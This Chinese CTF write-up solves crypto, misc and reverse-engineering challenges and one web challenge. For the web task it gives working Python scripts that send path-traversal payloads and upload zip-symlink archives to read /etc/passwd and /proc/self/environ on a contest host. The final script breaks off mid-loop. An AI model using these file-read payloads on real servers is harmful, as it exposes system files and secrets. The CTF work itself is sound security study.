cry1 ~ cry4

0. 总览

本文整理四道密码题目 cry1cry2cry3cry4 的解题过程。

0.1 题目分类

题目 类型 核心考点 Flag
cry1 古典密码 3 轨栅栏密码 + Base64 FCTF{75cc51a3-0a4e-4953-a4ed-0c2a2187231a}
cry2 RSA 已知 p 高位 + Coppersmith 小根攻击 FCTF{82728082-d5e9-4774-a8e5-bdb639c36c41}
cry3 RSA hint 泄露 p+q FCTF{7d61d4bc-d9d7-491c-9c67-cbf8e3904333}
cry4 RSA RSA 共模攻击 FCTF{6c62fe37-d337-4055-84dd-c9d159959571}

0.2 解题思路概括

0.2.1 cry1

先进行 3 轨栅栏解密,再进行 Base64 解码。

0.2.2 cry2

先通过 hint = (p >> 339)^3 mod n 恢复 p 的高位,再使用 Coppersmith 小根攻击恢复低位。

0.2.3 cry3

利用 hint = n + tmp(p+q) + tmp^2,分解出 41-bit 的 tmp,从而恢复 p+q

0.2.4 cry4

三个密文共用同一个模数 n,利用扩展欧几里得算法进行 RSA 共模攻击。


1. cry1:栅栏密码 + Base64

1.1 题目

题目给出密文:

1
RRNNMYLNYZYMNMRRkUn3WjThywTlT5TtTlCwzhj4zzW9kUk=NsNF0RQMR0JEIFNY

1.2 分析

观察密文字符集,可以发现其中包含大小写字母、数字以及 =,整体比较像 Base64 编码后的字符串被重新排列。

尝试常见古典密码后,发现该密文经过了 3 轨栅栏密码处理。

1.3 解密过程

1.3.1 3 轨栅栏解密

对原始密文进行 3 轨栅栏解密,可以得到:

1
RkNURns3NWNjNTFhMy0wYTRlLTQ5NTMtYTRlZC0wYzJhMjE4NzIzMWF9RkNURkY=

1.3.2 Base64 解码

继续进行 Base64 解码,得到:

1
FCTF{75cc51a3-0a4e-4953-a4ed-0c2a2187231a}FCTFF

末尾的 FCTFF 可以视为干扰或冗余内容,标准 flag 为前面的 FCTF{...} 部分。

1.4 解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import base64

s = "RRNNMYLNYZYMNMRRkUn3WjThywTlT5TtTlCwzhj4zzW9kUk=NsNF0RQMR0JEIFNY"

def rail_fence_decode(cipher, rails):
n = len(cipher)
fence = [[''] * n for _ in range(rails)]

rail = 0
direction = 1

for i in range(n):
fence[rail][i] = '*'
if rail == 0:
direction = 1
elif rail == rails - 1:
direction = -1
rail += direction

idx = 0
for r in range(rails):
for i in range(n):
if fence[r][i] == '*':
fence[r][i] = cipher[idx]
idx += 1

res = []
rail = 0
direction = 1

for i in range(n):
res.append(fence[rail][i])
if rail == 0:
direction = 1
elif rail == rails - 1:
direction = -1
rail += direction

return ''.join(res)

b64 = rail_fence_decode(s, 3)
print(b64)

plain = base64.b64decode(b64)
print(plain)

1.5 Flag

1
FCTF{75cc51a3-0a4e-4953-a4ed-0c2a2187231a}

2. cry2:已知 p 高位的 RSA

2.1 题目核心代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from gmpy2 import *
from Crypto.Util.number import *
import uuid

flag = f"FCTF{{{uuid.uuid4()}}}"
m = bytes_to_long(flag.encode())

e = 65537
p = getPrime(1024)
q = getPrime(1024)
n = p * q
c = pow(m, e, n)

p >>= 339
hint = pow(p, 3, n)

2.2 漏洞分析

题目中执行了:

1
2
p >>= 339
hint = pow(p, 3, n)

此时的 p 已经不是原始素数,而是:

1
p_high = 原始 p >> 339

所以:

1
hint ≡ p_high^3 mod n

2.3 恢复 p_high

由于原始 p 是 1024 bit,右移 339 bit 后,p_high 大约是 685 bit。因此 p_high^3 大约是 2055 bit,而 n 是 2048 bit 左右。

所以存在一个较小的整数 k,使得:

1
p_high^3 = hint + k * n

爆破较小范围内的 k,判断 hint + k*n 是否为完全立方数,即可恢复 p_high

恢复得到:

1
p_high = 152344455676473160361965275606160569574398887678071248889070897539254644413700211176988787352709543936537658684926841721810438263389360602172438647290635201281982715160663011849705165301254448613343514250820

2.4 Coppersmith 恢复 p 的低位

原始素数 p 满足:

1
p = (p_high << 339) + x

其中:

1
0 <= x < 2^339

也就是低 339 bit 未知。这是典型的 RSA 已知素数高位问题,可以构造:

1
f(x) = (p_high << 339) + x

然后在模 n 下求小根。

2.5 解题脚本

该题需要使用 SageMath。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from Crypto.Util.number import long_to_bytes

n = ...
c = ...
hint = ...

e = 65537
shift = 339

def iroot3(num):
lo, hi = 0, 1 << ((num.bit_length() + 2) // 3 + 2)
while lo + 1 < hi:
mid = (lo + hi) // 2
if mid ** 3 <= num:
lo = mid
else:
hi = mid
return lo, lo ** 3 == num

p_high = None

for k in range(1000):
r, ok = iroot3(int(hint + k * n))
if ok:
p_high = r
print("[+] k =", k)
print("[+] p_high =", p_high)
break

assert p_high is not None

A = p_high << shift

PR.<x> = PolynomialRing(Zmod(n))
f = A + x

roots = f.small_roots(X=2^shift, beta=0.5)
print("[+] roots =", roots)

x0 = int(roots[0])
p = A + x0

assert n % p == 0

q = n // p

phi = (p - 1) * (q - 1)
d = inverse_mod(e, phi)

m = pow(c, int(d), n)
flag = long_to_bytes(int(m))

print(flag)

2.6 运行结果

1
b'FCTF{82728082-d5e9-4774-a8e5-bdb639c36c41}'

2.7 Flag

1
FCTF{82728082-d5e9-4774-a8e5-bdb639c36c41}

3. cry3:hint 泄露 p+q

3.1 题目核心代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from Crypto.Util.number import *
import uuid

flag = f"FCTF{{{uuid.uuid4()}}}"
m = bytes_to_long(flag.encode())

e = 65537
p, q = getPrime(1024), getPrime(1024)
n = p * q

tmp = getPrime(41)
a = tmp * p + tmp * q
b = tmp * tmp

hint = p * q + a + b
c = pow(m, e, n)

3.2 hint 展开

由题目可知:

1
2
3
a = tmp*p + tmp*q
b = tmp^2
n = p*q

因此:

1
hint = p*q + tmp*p + tmp*q + tmp^2

进一步整理为:

1
hint = n + tmp(p+q) + tmp^2

所以:

1
hint - n = tmp(p+q+tmp)

3.3 恢复 tmp

由于 tmp 是 41 bit 素数,因此可以通过分解 hint - n 得到该小素数因子。

分解得到:

1
tmp = 2076016398037

3.4 恢复 p+q

根据:

1
hint - n = tmp(p+q+tmp)

可得:

1
p + q = (hint - n) // tmp - tmp

记:

1
S = p + q

同时已知:

1
p*q = n

所以 pq 是方程:

1
x^2 - Sx + n = 0

的两个根。

3.5 分解 n

计算判别式:

1
delta = S^2 - 4n

于是:

1
2
p = (S + sqrt(delta)) // 2
q = (S - sqrt(delta)) // 2

恢复 p, q 后即可正常 RSA 解密。

3.6 解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from Crypto.Util.number import *
from math import isqrt

n = ...
e = 65537
c = ...
hint = ...

D = hint - n

tmp = 2076016398037

assert D % tmp == 0

S = D // tmp - tmp

delta = S * S - 4 * n
r = isqrt(delta)

assert r * r == delta

p = (S + r) // 2
q = (S - r) // 2

assert p * q == n

phi = (p - 1) * (q - 1)
d = inverse(e, phi)

m = pow(c, d, n)
flag = long_to_bytes(m)

print(flag)

3.7 运行结果

1
b'FCTF{7d61d4bc-d9d7-491c-9c67-cbf8e3904333}'

3.8 Flag

1
FCTF{7d61d4bc-d9d7-491c-9c67-cbf8e3904333}

4. cry4:RSA 共模攻击

4.1 题目特征

题目给出了三组 RSA 参数:

1
2
3
n1, e1, c1
n2, e2, c2
n3, e3, c3

观察发现:

1
n1 = n2 = n3

即三个密文使用了相同的 RSA 模数 n

4.2 漏洞分析

同一个明文 m 被相同模数 n、不同指数加密:

1
2
3
c1 ≡ m^e1 mod n
c2 ≡ m^e2 mod n
c3 ≡ m^e3 mod n

如果:

1
gcd(e1, e2, e3) = 1

就可以利用扩展欧几里得算法找到整数 a, b, d,使得:

1
a*e1 + b*e2 + d*e3 = 1

于是:

1
c1^a * c2^b * c3^d ≡ m^(a*e1 + b*e2 + d*e3) ≡ m mod n

4.3 负指数处理

如果 a, b, d 中存在负数,需要使用模逆。

例如:

1
c^(-k) mod n = inverse(c)^k mod n

4.4 解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from Crypto.Util.number import long_to_bytes

n1 = ...
e1 = ...
c1 = ...

n2 = ...
e2 = ...
c2 = ...

n3 = ...
e3 = ...
c3 = ...

assert n1 == n2 == n3

n = n1

def egcd(a, b):
if b == 0:
return a, 1, 0

g, x1, y1 = egcd(b, a % b)
x = y1
y = x1 - (a // b) * y1

return g, x, y

g12, x12, y12 = egcd(e1, e2)
g, s, t = egcd(g12, e3)

assert g == 1

a = s * x12
b = s * y12
d = t

assert a * e1 + b * e2 + d * e3 == 1

def pow_signed(c, k, n):
if k >= 0:
return pow(c, k, n)
return pow(pow(c, -1, n), -k, n)

m = 1
m *= pow_signed(c1, a, n)
m %= n

m *= pow_signed(c2, b, n)
m %= n

m *= pow_signed(c3, d, n)
m %= n

flag = long_to_bytes(m)
print(flag)

4.5 运行结果

1
b'FCTF{6c62fe37-d337-4055-84dd-c9d159959571}'

4.6 Flag

1
FCTF{6c62fe37-d337-4055-84dd-c9d159959571}

菜狗


1. ZIP 加密类型分析

使用随波逐流分析 ZIP 文件

1
2
3
4
Zip archive data, encrypted at least v1.0 to extract
compressed size: 182255
uncompressed size: 182243
name: 1.png

压缩后大小比原始大小多了 12 字节,符合 ZipCrypto 的特征。

同时压缩包内文件名为:1.png

PNG 文件头是固定的,因此可以使用 bkcrack 进行 ZipCrypto 已知明文攻击。

PNG 文件头:

1
89504e470d0a1a0a0000000d49484452

2. 使用 bkcrack 恢复 ZIP 内部密钥

先查看 ZIP 内文件:

1
.\bkcrack.exe -L "E:\Desktop\我不是菜狗.zip"

确认存在:

1
1.png

然后使用 PNG 文件头进行已知明文攻击:

1
.\bkcrack.exe -C "E:\Desktop\我不是菜狗.zip" -c "1.png" -x 0 89504e470d0a1a0a0000000d49484452 -j 8

得到 keys:

1
c977a55f 2847718b d84f7440

使用恢复出的 keys 解密出图片:

1
.\bkcrack.exe -C "E:\Desktop\我不是菜狗.zip" -c "1.png" -k c977a55f 2847718b d84f7440 -d "E:\Desktop\1.png"

得到文件:菜狗照片

3.分析

打开图片后是一张表情包图片,没有明显信息。

继续使用随波逐流分析,发现 PNG 文件 IEND 结束标志后存在额外数据:

1
2
Png文件结束标志[49 45 4E 44 AE 42 60 82]后面包含其他信息
后信息开头:504b0304...

其中:

1
504b0304

是 ZIP 文件头,说明 PNG 文件尾部追加了一个 ZIP 文件。


4. 提取 PNG 文件尾部隐藏 ZIP

使用 Python 从 PNG 的 IEND 后提取数据:

1
2
3
4
5
6
7
8
9
10
11
12
@'
from pathlib import Path

p = Path(r"E:\Desktop\1.png")
data = p.read_bytes()

iend = bytes.fromhex("49454e44ae426082")
pos = data.index(iend) + len(iend)

Path(r"E:\Desktop\hidden.zip").write_bytes(data[pos:])
print("hidden.zip saved, size =", len(data[pos:]))
'@ | python

得到:

1
hidden.zip

5. 修复 ZIP 伪加密

分析 hidden.zip,发现其中包含:

1
2
0xff
flag.txt

但 ZIP 存在伪加密,需要修复中央目录中的加密标志位。

使用 Python 修复:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@'
from pathlib import Path

p = Path(r"E:\Desktop\hidden.zip")
z = bytearray(p.read_bytes())

i = 0
count = 0
while True:
i = z.find(b"PK\x01\x02", i)
if i == -1:
break
z[i+8:i+10] = b"\x00\x00"
i += 4
count += 1

Path(r"E:\Desktop\hidden_fix.zip").write_bytes(z)
print("patched central headers:", count)
'@ | python

输出:

1
patched central headers: 2

然后解压:

1
tar -xf "E:\Desktop\hidden_fix.zip" -C "E:\Desktop\hidden"

得到两个文件:

1
2
0xff
flag.txt

6. 分析 0xff 文件

0xff 文件名是一个提示。

0xff 文件使用字符串 0xff 进行循环异或:

1
2
3
4
5
6
7
8
9
10
11
12
13
@'
from pathlib import Path

p = Path(r"E:\Desktop\hidden\0xff")
key = b"0xff"
data = p.read_bytes()

out = bytes(data[i] ^ key[i % len(key)] for i in range(len(data)))

Path(r"E:\Desktop\0xff.jpg").write_bytes(out)
print("saved: E:\\Desktop\\0xff.jpg")
print(out[:10].hex())
'@ | python

得到一张图片 / 二维码。

二维码内容为:

1
fake{do_you_know_snow?}

这里的 fake{} 不是最终 flag,而是提示接下来使用 SNOW 隐写。


7. 使用 SNOW 解 flag.txt

flag.txt 中包含大量空格、Tab、换行,符合 SNOW 空白字符隐写特征。

使用 snow.exe,密码为二维码中得到的完整字符串:

1
.\snow.exe -C -p "fake{do_you_know_snow?}" "E:\Desktop\hidden\flag.txt"

成功得到 flag:

1
FCTF{go0d_j0b_yoU_a2e_n0t_cai_g0u}

最终 Flag

1
FCTF{go0d_j0b_yoU_a2e_n0t_cai_g0u}

决战中途岛

1. 题目信息

题面给出的密文是:

1
Malgie Ipqizq aq lnygh ok vyloz.

题目提示里出现了“九七式欧文印字机”,这是一个非常强的方向提示:它和二战时期日军的加密机有关;同时题目背景是“决战中途岛”,因此可以联想到中途岛战役前美军破译日军电报的历史背景。

但这题真正的加密逻辑在附件 enc.exe 里,所以需要逆向附件确认算法。


2. 逆向 enc.exe

附件是一个 Windows x64 PE 程序。用 strings 查看后,可以定位到核心加密函数。

程序里有两组被异或隐藏的字母表:

1
2
vr~xbn
utsqp\x7f}|{zygfedca`om

每个字符都和 0x37 异或后得到真实字母表:

1
2
AEIOUY
BCDFGHJKLMNPQRSTVWXZ

也就是说,程序把字母分成了两组:

  • 元音组:AEIOUY
  • 辅音组:BCDFGHJKLMNPQRSTVWXZ

3. 加密逻辑

程序只处理小写字母,其他字符会原样保留,例如大写字母、空格、标点不会被加密。

每处理一个小写字母,程序会更新一次伪随机数:

1
2
seed = (seed * 0x41C64E6D + 0x3039) & 0x7fffffff;
r = seed >> 16;

初始种子是:

1
0x57

然后判断当前字母属于哪一组:

如果是元音

AEIOUY 中找到该字母的位置,然后向后移动:

1
r % 6

如果是辅音

BCDFGHJKLMNPQRSTVWXZ 中找到该字母的位置,然后向后移动:

1
r % 20

所以这本质上是一个“按元音 / 辅音分组的流式移位加密”。


4. 解密思路

由于加密时是“向后移位”,解密时只需要反过来“向前移位”。

关键点:

  1. 使用相同的初始种子 0x57
  2. 遇到每个小写字母时更新一次伪随机数
  3. 判断密文字母属于元音组还是辅音组
  4. 用相同的位移量反向移动
  5. 大写字母、空格、标点原样保留

5. 解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
cipher = "Malgie Ipqizq aq lnygh ok vyloz."

vowels = "AEIOUY"
consonants = "BCDFGHJKLMNPQRSTVWXZ"

seed = 0x57
plain = []

for ch in cipher:
if ch.islower():
seed = (seed * 0x41C64E6D + 0x3039) & 0x7fffffff
r = seed >> 16

u = ch.upper()

if u in vowels:
idx = vowels.index(u)
plain.append(vowels[(idx - r % 6) % 6].lower())
elif u in consonants:
idx = consonants.index(u)
plain.append(consonants[(idx - r % 20) % 20].lower())
else:
plain.append(ch)
else:
plain.append(ch)

print("".join(plain))

输出结果:

1
Midway Island is short of water.

6. 得到 Flag

1
FCTF{Midway Island is short of water.}

vault.exe

题目信息

程序运行后提示:

1
2
3
[*] The truth is buried in native code, not in pyc.

Enter the flag:

这说明题目的核心逻辑不在普通 Python 字节码文件中,而是在 native 扩展模块中。

1. 判断程序类型

vault.exe 是一个 PyInstaller 打包程序。

PyInstaller 程序通常会把 Python 脚本、依赖库、动态链接库等内容打包进一个可执行文件中。
因此,第一步需要对 vault.exe 进行解包,提取其中的 Python 文件和 native 模块。


2. 查看 Python 层逻辑

解包后可以看到 Python 层代码并没有直接保存 flag。

程序提示中已经给出关键信息:

1
The truth is buried in native code, not in pyc.

也就是说,.pyc 中的逻辑只是入口或调用层,真正的校验逻辑在 native code 中。

Python 层主要调用了 native 扩展模块中的校验函数:

1
_crypto_core._verify(...)

3. 定位 native 模块

真正参与校验的模块不是普通的:

1
_crypto_core.pyd

而是:

1
_crypto_core.cp312-win_amd64.pyd

这是一个 Python C 扩展模块,本质上是 Windows PE 动态库,需要用 IDA、Ghidra、Binary Ninja 等工具分析。


4. 分析 native 校验逻辑

在 native 模块中可以看到核心逻辑大致为:

  1. 从用户输入读取 flag。
  2. 使用固定 key 和 iv。
  3. 对内置密文进行 AES-CBC 解密。
  4. 将解密结果与用户输入进行比较。
  5. 匹配则验证成功。

关键加密参数

native 模块中的 key 和 iv 并不是明文直接保存,而是通过异或还原得到。

还原后的结果如下:

1
2
key = PyR3v_CrypT0_K3y
iv = CrypTo_VaulT_1v!

其中:

  • AES key 长度为 16 字节。
  • IV 长度为 16 字节。
  • 加密模式为 AES-CBC。

解密结果

使用上述 key 和 iv 对程序中的目标密文进行 AES-CBC 解密后,可以得到:

1
flag{Py_R3v3rs3_w1th_Nativ3_C0d3!}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e

末尾的 \x0e 是 PKCS#7 padding,需要去除。

去除 padding 后得到真正的 flag:

1
flag{Py_R3v3rs3_w1th_Nativ3_C0d3!}

异常流控制

表面逻辑分析

程序读取用户输入后,表面上要求输入长度为 26

随后进入一个看起来像哈希校验的逻辑,大致形式如下:

1
2
3
4
5
6
7
8
9
10
11
hash = 0;

for (i = 0; i < len; i++) {
hash = hash * 31 + input[i];
}

if (((hash ^ 0xdeadbeef) % table[len % 8]) == target) {
puts("Congratulations!");
} else {
puts("Wrong!!!");
}

其中 table 是一个取模用的数组。


假校验点

当输入长度为 26 时:

1
26 % 8 == 2

table[2] 的值为:

1
0

因此程序会执行类似下面的操作:

1
(hash ^ 0xdeadbeef) % 0

这会触发 除零异常

所以表面上的哈希校验并不是真正的校验逻辑,而是一个诱导分析者的假逻辑。


TLS 回调与异常处理

进一步分析发现,程序在 TLS 初始化阶段注册了一个异常处理函数。

该函数通过动态解析 API 的方式调用:

1
AddVectoredExceptionHandler

注册了一个 VEH(Vectored Exception Handler)。

当假校验中的除零异常触发后,程序不会直接崩溃,而是进入这个异常处理函数。


异常处理中的隐藏逻辑

异常处理函数主要做了两件事:

  1. 修改指定代码区域的内存属性,使其可写、可执行;
  2. 0x140001573 附近的一段代码执行异或解密。

解密方式为:

1
code[i] ^= 0x20;

解密完成后,异常处理函数修改执行流,使程序跳转到解密后的真实校验代码。


真实校验逻辑

解密后的校验逻辑如下:

1
2
3
4
5
6
7
8
for (i = 0; i <= 25; i++) {
if ((input[i] ^ i) != enc[i]) {
puts("Wrong!!!");
exit(0);
}
}

puts("Congratulations! You found the right flag!");

其中 enc 是程序中保存的密文数组。

密文如下:

1
2
66 6d 63 64 7f 51 6e 6e 7b 56 63 78 53 7f 6b 6e
7c 4e 74 7f 75 72 37 36 39 64

反解脚本

根据真实校验逻辑:

1
input[i] ^ i == enc[i]

可得:

1
input[i] = enc[i] ^ i

使用 Python 反解:

1
2
3
4
5
6
7
enc = bytes.fromhex(
"66 6d 63 64 7f 51 6e 6e 7b 56 63 78 53 7f 6b 6e "
"7c 4e 74 7f 75 72 37 36 39 64"
)

flag = bytes([b ^ i for i, b in enumerate(enc)])
print(flag.decode())

输出结果:

1
flag{This_is_real_flag!!!}

RE 题目分析总结题目信息

程序运行后提示:

1
enter serial:

该题是一个 serial 校验类 RE 题目。程序要求用户输入一段序列号,并根据内部校验逻辑判断输入是否正确。


核心校验逻辑

1. 输入长度校验

程序首先检查输入长度。

要求输入长度必须为:

1
0x20

也就是十进制的:

1
32

因此 serial 必须是 32 字节。

最终得到的 serial:

1
v1rtu4l_m4ch1n3_byt3c0d3_cr4ck3d

正好长度为 32 字节。


2. VM 虚拟机结构

程序内部包含一套简单 VM 逻辑。

整体流程可以概括为:

1
2
3
4
5
6
7
8
9
10
11
12
13
读取用户输入

检查输入长度是否为 32

按照 4 字节一组处理输入

执行自定义 VM 字节码

比较每组运算结果

校验整体异或值

输出 right / wrong

3. 分组处理

输入会被拆成若干组,每组 4 字节。

因为总长度为 32 字节,所以一共会被分成:

1
32 / 4 = 8

也就是 8 组。

每组都会经过 VM 中的字节码逻辑处理。


4. 字节码校验

VM 对每组 4 字节输入进行变换,典型操作包括:

  • 加法
  • 异或
  • 位运算
  • 常量混淆
  • 与目标值比较

这些操作共同构成了每一组输入的约束条件。

通过逆向 VM 指令和目标常量,可以逐组还原出正确的输入内容。


5. 整体异或校验

除了每 4 字节一组的校验外,程序最后还会对整体输入进行异或校验。

最终要求整体异或结果为:

1
0x2f

只有分组校验和整体异或校验同时满足,程序才会判断输入正确。


还原结果

根据 VM 字节码逻辑逆向还原后,得到完整 serial:

1
v1rtu4l_m4ch1n3_byt3c0d3_cr4ck3d

该字符串长度为 32 字节,满足程序长度要求。


最终答案

程序输入:

1
v1rtu4l_m4ch1n3_byt3c0d3_cr4ck3d

平台提交格式可尝试:

1
flag{v1rtu4l_m4ch1n3_byt3c0d3_cr4ck3d}

接下来是web的

ez_bao

这道题目登录进去后是一个zip文件上传先随便传文件

得到了/download/0a6deea3-0230-43d0-af93-cd2cfb94ffdf

页面也提示了要文件名字拼接

猜到要用这个格式访问/download/0a6deea3-0230-43d0-af93-cd2cfb94ffdf/文件名

可以打打 download 接口任意文件读取 / 路径穿越

因为文件删除速度过快 无法正常读取到这边就用了脚本

先bp抓包得到了session的值 eyJyb2xlIjoidXNlciIsInVzZXJuYW1lIjoiY3RmIn0.aiP_vw.BUDFqCM5ApDXBlFo4sNs-N2zZ-s

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import re
import zipfile
import requests

BASE = "http://ctf.jxnusec.cn:32999"

COOKIE = "session=eyJyb2xlIjoidXNlciIsInVzZXJuYW1lIjoiY3RmIn0.aiP_vw.BUDFqCM5ApDXBlFo4sNs-N2zZ-s"

s = requests.Session()
s.headers.update({
"Cookie": COOKIE,
"User-Agent": "Mozilla/5.0",
})

def make_zip():
with open("1.txt", "w", encoding="utf-8") as f:
f.write("hello-ezbao")

with zipfile.ZipFile("1.zip", "w") as z:
z.write("1.txt", "1.txt")

def upload():
with open("1.zip", "rb") as f:
r = s.post(
BASE + "/upload",
files={"file": ("1.zip", f, "application/zip")},
allow_redirects=False,
)

print("[upload status]", r.status_code)
print(r.text[:300])

if r.status_code in (301, 302) and "/login" in r.headers.get("Location", ""):
raise SystemExit("[-] Cookie 无效,被重定向到 /login 了")

m = re.search(r"/download/[0-9a-fA-F-]+", r.text)
if not m:
raise SystemExit("[-] 没找到 download 地址")

return m.group(0)

def get(path):
url = BASE + path
r = s.get(url, allow_redirects=False)
print("\n[GET]", url)
print("[status]", r.status_code)
print(r.text[:500])
return r

make_zip()
download = upload()
print("[download]", download)

candidates = [
download + "/1.txt",
download + "1.txt",
download + "/./1.txt",
]

for p in candidates:
get(p)

# 路径穿越测试
payloads = [
"/../../../../etc/passwd",
"/../../../../../etc/passwd",
"/../../../../../../etc/passwd",
"/..%2f..%2f..%2f..%2fetc/passwd",
"/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd",
]

for p in payloads:
get(download + p)

用脚本抢时间窗口 得到了正常文件可以秒读取 download的路径背墙了

下一步用zip软连接文件读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import re
import stat
import zipfile
import requests

BASE = "http://ctf.jxnusec.cn:32999"
COOKIE = "session=eyJyb2xlIjoidXNlciIsInVzZXJuYW1lIjoiY3RmIn0.aiP_vw.BUDFqCM5ApDXBlFo4sNs-N2zZ-s"

s = requests.Session()
s.headers.update({
"Cookie": COOKIE,
"User-Agent": "Mozilla/5.0",
})

def add_symlink(z, name, target):
zi = zipfile.ZipInfo(name)
zi.create_system = 3
zi.external_attr = (stat.S_IFLNK | 0o777) << 16
z.writestr(zi, target)

def make_zip():
with zipfile.ZipFile("symlink.zip", "w") as z:

add_symlink(z, "passwd", "/etc/passwd")
add_symlink(z, "flag", "/flag")
add_symlink(z, "flag_txt", "/flag.txt")
add_symlink(z, "app_flag", "/app/flag")
add_symlink(z, "tmp_flag", "/tmp/flag")


add_symlink(z, "root", "/")

def upload():
with open("symlink.zip", "rb") as f:
r = s.post(
BASE + "/upload",
files={"file": ("symlink.zip", f, "application/zip")},
allow_redirects=False,
)

print("[upload status]", r.status_code)
print(r.text[:500])

m = re.search(r"/download/[0-9a-fA-F-]+", r.text)
if not m:
raise SystemExit("[-] 没拿到 download 地址")

return m.group(0)

def get(path):
url = BASE + path
r = s.get(url, allow_redirects=False)
print("\n[GET]", url)
print("[status]", r.status_code)
print(r.text[:1000])
return r.text

make_zip()
download = upload()
print("[download]", download)

targets = [
"/passwd",
"/flag",
"/flag_txt",
"/app_flag",
"/tmp_flag",

# 目录软链接 root -> /
"/root/etc/passwd",
"/root/flag",
"/root/flag.txt",
"/root/app/flag",
"/root/tmp/flag",
"/root/proc/self/environ",
"/root/proc/self/cwd/app.py",
]

for t in targets:
get(download + t)

1
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin

返回了这些说明 软链接任意文件读取已经成立

最后通过脚本读取了环境变量找到了flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
import re
import stat
import zipfile
import requests

BASE = "http://ctf.jxnusec.cn:32999"
COOKIE = "session=eyJyb2xlIjoidXNlciIsInVzZXJuYW1lIjoiY3RmIn0.aiP_vw.BUDFqCM5ApDXBlFo4sNs-N2zZ-s"

s = requests.Session()
s.headers.update({
"Cookie": COOKIE,
"User-Agent": "Mozilla/5.0",
})

def add_symlink(z, name, target):
zi = zipfile.ZipInfo(name)
zi.create_system = 3
zi.external_attr = (stat.S_IFLNK | 0o777) << 16
z.writestr(zi, target)

targets = {
# 环境变量,flag 很可能在这里
"env_self": "/proc/self/environ",
"env_1": "/proc/1/environ",

# 启动命令,判断程序入口
"cmd_self": "/proc/self/cmdline",
"cmd_1": "/proc/1/cmdline",

# 当前工作目录下的常见 Flask 文件
"cwd_app": "/proc/self/cwd/app.py",
"cwd_main": "/proc/self/cwd/main.py",
"cwd_server": "/proc/self/cwd/server.py",
"cwd_run": "/proc/self/cwd/run.py",

"pid1_cwd_app": "/proc/1/cwd/app.py",
"pid1_cwd_main": "/proc/1/cwd/main.py",
"pid1_cwd_server": "/proc/1/cwd/server.py",
"pid1_cwd_run": "/proc/1/cwd/run.py",

# 常见部署目录
"app_app": "/app/app.py",
"app_main": "/app/main.py",
"app_server": "/app/server.py",
"app_run": "/app/run.py",
"app_req": "/app/requirements.txt",

"code_app": "/code/app.py",
"code_main": "/code/main.py",

"www_app": "/var/www/app.py",
"www_html_app": "/var/www/html/app.py",

# 常见 flag 位置
"flag_root": "/flag",
"flag_txt": "/flag.txt",
"flag_app": "/app/flag",
"flag_tmp": "/tmp/flag",
"flag_home": "/root/flag",

# 通过 proc root 再读一遍
"proc_root_flag": "/proc/self/root/flag",
"proc_root_flag_txt": "/proc/self/root/flag.txt",
"proc1_root_flag": "/proc/1/root/flag",
"proc1_root_flag_txt": "/proc/1/root/flag.txt",
}

with zipfile.ZipFile("find_flag.zip", "w") as z:
for name, path in targets.items():
add_symlink(z, name, path)

with open("find_flag.zip", "rb") as f:
r = s.post(
BASE + "/upload",
files={"file": ("find_flag.zip", f, "application/zip")},
allow_redirects=False,
)

print("[upload status]", r.status_code)
print(r.text[:500])

m = re.search(r"/download/[0-9a-fA-F-]+", r.text)
if not m:
raise SystemExit("没找到 download 地址")

download = m.group(0)
print("[download]", download)

for name, path in targets.items():
